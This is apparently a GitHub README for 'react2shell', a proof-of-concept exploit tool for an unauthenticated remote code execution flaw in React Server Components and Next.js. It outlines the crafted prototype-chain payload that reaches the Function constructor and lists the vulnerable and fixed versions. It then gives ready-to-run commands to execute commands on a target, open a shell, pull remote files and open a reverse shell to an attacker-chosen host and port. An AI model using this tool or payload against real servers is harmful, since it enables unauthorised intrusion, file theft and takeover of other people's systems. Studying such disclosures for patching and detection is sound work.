rvzsec/react2shellreact2shell - CVE-2025-55182 (Next.js: CVE-2025-66478) - Unauthenticated RCE in React Server Components (Flight Protocol) - PoC Exploit
CVE-2025-55182 (Next.js: CVE-2025-66478)
Unauthenticated RCE in React Server Components (Flight Protocol) - PoC Exploit
React Server Components (Flight protocol) deserialize attacker-controlled multipart/form-data without validating prototype-chain access. A single unauthenticated POST with a Next-Action header reaches the Function constructor through a crafted reference chain ($1:__proto__:then + $1:constructor:constructor), resulting in remote code execution on the server.
Affects react-server-dom-{webpack,turbopack,parcel} 19.0.0 - 19.2.0 and downstream consumers including Next.js App Router (14.3.0-canary.77+, 15.x, 16.x). Default create-next-app projects are vulnerable.
git clone https://github.com/rvzsec/react2shell
cd react2shell
pip3 install -r requirements.txt
python3 react2shell.py check -t <target>
python3 react2shell.py exec -t <target> -c '<command>'
python3 react2shell.py shell -t <target>
python3 react2shell.py file -t <target> -f <remote-path> -o <local-out>
python3 react2shell.py revshell -t <target> --lhost <ip> --lport <port>
React 19.0.1 / 19.1.2 / 19.2.1+ - Next.js 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7
Original disclosure: Lachlan Davidson (@lachlan2k)